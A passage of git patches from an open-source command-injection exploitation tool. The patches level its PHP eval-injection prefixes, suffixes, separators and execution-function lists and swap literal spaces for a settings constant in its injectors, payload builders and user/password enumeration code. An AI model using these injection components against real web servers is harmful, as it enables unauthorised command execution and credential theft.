JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))]
# Execution functions
-EXECUTION_FUNCTIONS = ["exec", "system", "shell_exec", "passthru", "proc_open", "popen"]
+EXECUTION_FUNCTIONS = []
+EXECUTION_FUNCTIONS_LVL1 = ["exec"]
+EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["system", "shell_exec"]
+EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["passthru", "proc_open", "popen"]
# The code injection separators.
-EVAL_SEPARATORS = ["", "%0a", "%0d%0a"]
+EVAL_SEPARATORS = []
+EVAL_SEPARATORS_LVL1 = [""]
+EVAL_SEPARATORS_LVL2 = EVAL_SEPARATORS_LVL1 + ["%0a"]
+EVAL_SEPARATORS_LVL3 = EVAL_SEPARATORS_LVL2 + ["%0d%0a"]
# The code injection prefixes.
EVAL_PREFIXES = []
-EVAL_PREFIXES_LVL1 = ["{${", "'.", ".", ")'}", "');}"]
-EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""]
+EVAL_PREFIXES_LVL1 = ["{${", "'.", "."]
+EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + [")'}", "');}"]
+EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""]
# The code injection suffixes.
EVAL_SUFFIXES = []
-EVAL_SUFFIXES_LVL1 = ["}}", ".'", "'#", ""]
-EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + [".\"", "\\\\", "//", ")}", "#"]
+EVAL_SUFFIXES_LVL1 = ["}}", ".'", ""]
+EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + ["'#"]
+EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#"]
# The default (url-ecoded) white-space.
WHITESPACES = ["%20"]
From 40e973669f74655a41a9043f2bcb8fc995c27df8 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 31 Oct 2022 09:01:37 +0200
Subject: [PATCH 204/560] Minor update
---
.../results_based/techniques/classic/cb_injector.py | 4 ++--
src/utils/crawler.py | 2 ++
src/utils/settings.py | 2 +-
3 files changed, 5 insertions(+), 3 deletions(-)
diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py
index e12d3d9e62..c975e8dd7e 100755
--- a/src/core/injections/results_based/techniques/classic/cb_injector.py
+++ b/src/core/injections/results_based/techniques/classic/cb_injector.py
@@ -48,8 +48,8 @@ def injection_test(payload, http_request_method, url):
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA:
- if " " in payload:
- payload = payload.replace(" ","%20")
+ if settings.SINGLE_WHITESPACE in payload:
+ payload = replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE))
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_GET_param(url)
target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index c0952f3cd4..808ad39777 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -255,6 +255,8 @@ def no_usable_links(crawled_hrefs):
The crawing process.
"""
def do_process(url):
+ if settings.SINGLE_WHITESPACE in url:
+ url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE))
identified_hrefs = False
if settings.VERBOSITY_LEVEL >= 2:
print(settings.SINGLE_WHITESPACE)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index d52253cd51..8e96fc6793 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "23"
+REVISION = "24"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 8d1869543f062d81d1fc8c8215742657b890fddb Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 1 Nov 2022 07:38:01 +0200
Subject: [PATCH 205/560] Minor update
---
.../injections/results_based/techniques/classic/cb_handler.py | 2 +-
.../results_based/techniques/eval_based/eb_handler.py | 2 +-
src/utils/settings.py | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index cbe27dfb02..a3543ac920 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -176,7 +176,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if shell == False:
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + " (" + str(float_percent) + "%)"
+ info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index 0d13640ab7..0fcf0557d2 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -187,7 +187,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))
if shell == False:
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + " (" + str(float_percent) + "%)"
+ info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 8e96fc6793..5acf457f74 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "24"
+REVISION = "25"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 8803b67f2f4b45544b207a1e906d503d525a1585 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 2 Nov 2022 07:18:57 +0200
Subject: [PATCH 206/560] Minor refactoring
---
.../blind/techniques/time_based/tb_handler.py | 16 ++++-----
.../techniques/time_based/tb_injector.py | 2 +-
src/core/injections/controller/checks.py | 18 +++++-----
src/core/injections/controller/controller.py | 20 +++++------
.../injections/controller/shell_options.py | 2 +-
.../techniques/classic/cb_enumeration.py | 2 +-
.../techniques/classic/cb_handler.py | 12 +++----
.../techniques/classic/cb_injector.py | 10 +++---
.../techniques/classic/cb_payloads.py | 4 +--
.../techniques/eval_based/eb_enumeration.py | 12 +++----
.../techniques/eval_based/eb_handler.py | 16 ++++-----
.../techniques/eval_based/eb_injector.py | 6 ++--
.../techniques/eval_based/eb_payloads.py | 2 +-
.../techniques/file_based/fb_handler.py | 8 ++---
.../techniques/file_based/fb_injector.py | 6 ++--
.../techniques/file_based/fb_payloads.py | 2 +-
.../techniques/tempfile_based/tfb_handler.py | 16 ++++-----
.../techniques/tempfile_based/tfb_injector.py | 2 +-
src/core/modules/shellshock/shellshock.py | 6 ++--
src/core/requests/authentication.py | 2 +-
src/core/requests/requests.py | 36 +++++++++----------
src/core/shells/bind_tcp.py | 4 +--
src/core/shells/reverse_tcp.py | 4 +--
src/core/tamper/sleep2timeout.py | 2 +-
src/utils/logs.py | 4 +--
src/utils/session_handler.py | 2 +-
src/utils/settings.py | 2 +-
src/utils/update.py | 2 +-
28 files changed, 110 insertions(+), 110 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index d46c641daf..dd5077ab1f 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -57,7 +57,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
how_long = 0
if settings.VERBOSITY_LEVEL != 0:
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". "
+ info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". "
print(settings.print_info_msg(info_msg))
# Check if defined "--maxlen" option.
@@ -230,7 +230,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
+ info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
@@ -277,19 +277,19 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
+ info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
+ info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
# if settings.VERBOSITY_LEVEL == 0:
- # info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
+ # info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
# sys.stdout.write("\r" + settings.print_info_msg(info_msg))
# sys.stdout.flush()
@@ -311,7 +311,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
percent = settings.FAIL_STATUS
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
+ info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
@@ -358,7 +358,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
- header_name = " " + settings.CUSTOM_HEADER_NAME
+ header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
@@ -390,7 +390,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
# Print the findings to terminal.
info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via "
- info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
+ info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py
index 06f550309a..e4615528d2 100755
--- a/src/core/injections/blind/techniques/time_based/tb_injector.py
+++ b/src/core/injections/blind/techniques/time_based/tb_injector.py
@@ -339,7 +339,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
output = "".join(str(p) for p in output)
# Check for empty output.
- if output == (len(output) * " "):
+ if output == (len(output) * settings.SINGLE_WHITESPACE):
output = ""
else:
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index dea83e2c3f..82db7ee90c 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -962,11 +962,11 @@ def check_skipped_params(check_parameters):
"""
def print_non_listed_params(check_parameters, http_request_method, header_name):
if settings.TEST_PARAMETER:
- testable_parameters = ",".join(settings.TEST_PARAMETER).replace(" ","")
+ testable_parameters = ",".join(settings.TEST_PARAMETER).replace(settings.SINGLE_WHITESPACE,"")
testable_parameters = testable_parameters.split(",")
non_exist_param = list(set(testable_parameters) - set(check_parameters))
if non_exist_param:
- non_exist_param = ",".join(non_exist_param).replace(" ","")
+ non_exist_param = ",".join(non_exist_param).replace(settings.SINGLE_WHITESPACE,"")
non_exist_param = non_exist_param.split(",")
if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and \
menu.options.test_parameter != None:
@@ -1510,7 +1510,7 @@ def is_empty(multi_parameters, http_request_method):
pass
elif settings.IS_XML:
if re.findall(r'>(.*)<', empty)[0] == "" or \
- re.findall(r'>(.*)<', empty)[0] == " ":
+ re.findall(r'>(.*)<', empty)[0] == settings.SINGLE_WHITESPACE:
empty_parameters.append(re.findall(r'(.*)>', empty)[0])
elif len(empty.split("=")[1]) == 0:
empty_parameters.append(empty.split("=")[0])
@@ -1630,7 +1630,7 @@ def check_similarities(all_params):
if param == all_params[param]:
parameter_name = param
all_params[param] = param + settings.RANDOM_TAG
- all_params = [x.replace(" ", "") for x in json.dumps(all_params).split(", ")]
+ all_params = [x.replace(settings.SINGLE_WHITESPACE, "") for x in json.dumps(all_params).split(", ")]
else:
for param in range(0, len(all_params)):
if settings.IS_XML:
@@ -1878,10 +1878,10 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi
try:
if sys_users:
sys_users = "".join(str(p) for p in sys_users).strip()
- if len(sys_users.split(" ")) <= 1 :
+ if len(sys_users.split(settings.SINGLE_WHITESPACE)) <= 1 :
sys_users = sys_users.split("\n")
else:
- sys_users = sys_users.split(" ")
+ sys_users = sys_users.split(settings.SINGLE_WHITESPACE)
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0 :
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
@@ -1981,8 +1981,8 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi
"""
def print_passes(sys_passes, filename, _, alter_shell):
if sys_passes == "":
- sys_passes = " "
- sys_passes = sys_passes.replace(" ", "\n").split()
+ sys_passes = settings.SINGLE_WHITESPACE
+ sys_passes = sys_passes.replace(settings.SINGLE_WHITESPACE, "\n").split()
if len(sys_passes) != 0 :
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
@@ -2201,7 +2201,7 @@ def check_file_to_write():
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
- content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file]
+ content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", settings.SINGLE_WHITESPACE) for line in content_file]
content = "".join(str(p) for p in content).replace("'", "\"")
if settings.TARGET_OS == "win":
import base64
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 9b0358a7bd..70723645de 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -133,7 +133,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers):
injection_type = "results-based dynamic code evaluation"
technique = "dynamic code evaluation technique"
- technique = "(" + injection_type.split(" ")[0] + ") " + technique + ""
+ technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ""
settings.EVAL_BASED_STATE = True
try:
try:
@@ -226,7 +226,7 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met
settings.CLASSIC_STATE = False
else:
if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". "
+ debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". "
print(settings.print_debug_msg(debug_msg))
# Check if it's exploitable via dynamic code evaluation technique.
@@ -258,11 +258,11 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho
settings.EVAL_BASED_STATE = False
else:
if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". "
+ debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". "
print(settings.print_debug_msg(debug_msg))
else:
if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". "
+ debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". "
print(settings.print_debug_msg(debug_msg))
# Check if it's exploitable via time-based command injection technique.
@@ -278,7 +278,7 @@ def timebased_command_injection_technique(url, timesec, filename, http_request_m
settings.TIME_BASED_STATE = False
else:
if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". "
+ debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". "
print(settings.print_debug_msg(debug_msg))
# Check if it's exploitable via file-based command injection technique.
@@ -294,7 +294,7 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m
settings.FILE_BASED_STATE = False
else:
if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". "
+ debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". "
print(settings.print_debug_msg(debug_msg))
"""
@@ -325,7 +325,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
# User-Agent HTTP header / Referer HTTP header /
# Host HTTP header / Custom HTTP header Injection(s)
- if check_parameter.startswith(" "):
+ if check_parameter.startswith(settings.SINGLE_WHITESPACE):
header_name = ""
the_type = "HTTP header"
check_parameter = " '" + check_parameter.strip() + "'"
@@ -547,7 +547,7 @@ def cookie_injection(url, http_request_method, filename, timesec):
cookie_parameters = cookie_parameters_list
# Remove whitespaces
- cookie_parameters = [x.replace(" ", "") for x in cookie_parameters]
+ cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters]
check_parameters = []
for i in range(0, len(cookie_parameters)):
@@ -651,7 +651,7 @@ def post_request(url, http_request_method, filename, timesec):
found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x]
else:
# Remove whitespaces
- found_parameter = [x.replace(" ", "") for x in found_parameter]
+ found_parameter = [x.replace(settings.SINGLE_WHITESPACE, "") for x in found_parameter]
# Check if multiple parameters
check_parameters = []
@@ -744,7 +744,7 @@ def basic_level_checks():
# Custom header Injection
if settings.CUSTOM_HEADER_INJECTION == True:
- check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME
+ check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME
settings.HTTP_HEADER = header_name[1:].lower()
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py
index da7f6ae346..febae03580 100755
--- a/src/core/injections/controller/shell_options.py
+++ b/src/core/injections/controller/shell_options.py
@@ -66,7 +66,7 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
else:
whitespace = settings.WHITESPACES[0]
- if whitespace == " ":
+ if whitespace == settings.SINGLE_WHITESPACE:
whitespace = _urllib.parse.quote(whitespace)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
end = time.time()
diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
index da49dc562a..8c5b302ec0 100755
--- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py
+++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
@@ -175,7 +175,7 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
- shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
+ shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1)[:-1]
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index a3543ac920..976e32277d 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -59,7 +59,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
export_injection_info = False
if not settings.LOAD_SESSION:
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". "
+ info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL != 0:
@@ -72,7 +72,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
- if whitespace == " ":
+ if whitespace == settings.SINGLE_WHITESPACE:
whitespace = _urllib.parse.quote(whitespace)
# Check injection state
settings.DETECTION_PHASE = True
@@ -176,7 +176,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if shell == False:
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)"
+ info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
@@ -189,7 +189,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
percent = settings.info_msg
else:
percent = ".. (" + str(float_percent) + "%)"
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
+ info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
@@ -236,7 +236,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
- header_name = " " + settings.CUSTOM_HEADER_NAME
+ header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
@@ -268,7 +268,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
# Print the findings to terminal.
info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via "
- info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
+ info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py
index c975e8dd7e..c0feaad338 100755
--- a/src/core/injections/results_based/techniques/classic/cb_injector.py
+++ b/src/core/injections/results_based/techniques/classic/cb_injector.py
@@ -101,7 +101,7 @@ def injection_test_results(response, TAG, randvcalc):
else:
# Check the execution results
html_data = checks.page_encoding(response, action="decode")
- html_data = html_data.replace("\n"," ")
+ html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE)
# cleanup string / unescape html to string
html_data = _urllib.parse.unquote(html_data)
html_data = unescape(html_data)
@@ -262,7 +262,7 @@ def injection_results(response, TAG, cmd):
try:
# Grab execution results
html_data = checks.page_encoding(response, action="decode")
- html_data = html_data.replace("\n"," ")
+ html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE)
# cleanup string / unescape html to string
html_data = _urllib.parse.unquote(html_data)
html_data = unescape(html_data)
@@ -272,10 +272,10 @@ def injection_results(response, TAG, cmd):
for end_line in settings.END_LINE:
if end_line in html_data:
- html_data = html_data.replace(end_line, " ")
+ html_data = html_data.replace(end_line, settings.SINGLE_WHITESPACE)
break
- shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + " ", html_data)
+ shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data)
if not shell:
shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data)
if not shell:
@@ -284,7 +284,7 @@ def injection_results(response, TAG, cmd):
if TAG in shell:
shell = re.findall(r"" + "(.*)" + TAG + TAG, shell)
# Clear junks
- shell = [tags.replace(TAG + TAG , " ") for tags in shell]
+ shell = [tags.replace(TAG + TAG , settings.SINGLE_WHITESPACE) for tags in shell]
shell = [backslash.replace("\/","/") for backslash in shell]
except UnicodeDecodeError:
pass
diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py
index fa7e60c0c9..ca13a188f9 100755
--- a/src/core/injections/results_based/techniques/classic/cb_payloads.py
+++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py
@@ -110,7 +110,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2):
def cmd_execution(separator, TAG, cmd):
if settings.TARGET_OS == "win":
if settings.REVERSE_TCP:
- payload = (separator + cmd + " "
+ payload = (separator + cmd + settings.SINGLE_WHITESPACE
)
else:
payload = (separator +
@@ -148,7 +148,7 @@ def cmd_execution(separator, TAG, cmd):
def cmd_execution_alter_shell(separator, TAG, cmd):
if settings.TARGET_OS == "win":
if settings.REVERSE_TCP:
- payload = (separator + cmd + " "
+ payload = (separator + cmd + settings.SINGLE_WHITESPACE
)
else:
payload = (separator +
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
index 6aba7618f1..439181a3bf 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
@@ -47,7 +47,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_
response = requests.url_reload(url, timesec)
# Evaluate injection results.
ps_version = eb_injector.injection_results(response, TAG, cmd)
- ps_version = "".join(str(p) for p in ps_version).replace(" ", "", 1)
+ ps_version = "".join(str(p) for p in ps_version).replace(settings.SINGLE_WHITESPACE, "", 1)
session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
else:
ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
@@ -69,7 +69,7 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
- shell = "".join(str(p) for p in shell).replace(" ", "", 1)
+ shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
@@ -126,7 +126,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_
response = requests.url_reload(url, timesec)
# Evaluate injection results.
target_arch = eb_injector.injection_results(response, TAG, cmd)
- target_arch = "".join(str(p) for p in target_arch).replace(" ", "", 1)
+ target_arch = "".join(str(p) for p in target_arch).replace(settings.SINGLE_WHITESPACE, "", 1)
session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
else:
target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
@@ -153,7 +153,7 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method
response = requests.url_reload(url, timesec)
# Evaluate injection results.
cu_account = eb_injector.injection_results(response, TAG, cmd)
- cu_account = "".join(str(p) for p in cu_account).replace(" ", "", 1)
+ cu_account = "".join(str(p) for p in cu_account).replace(settings.SINGLE_WHITESPACE, "", 1)
session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
else:
cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
@@ -178,7 +178,7 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
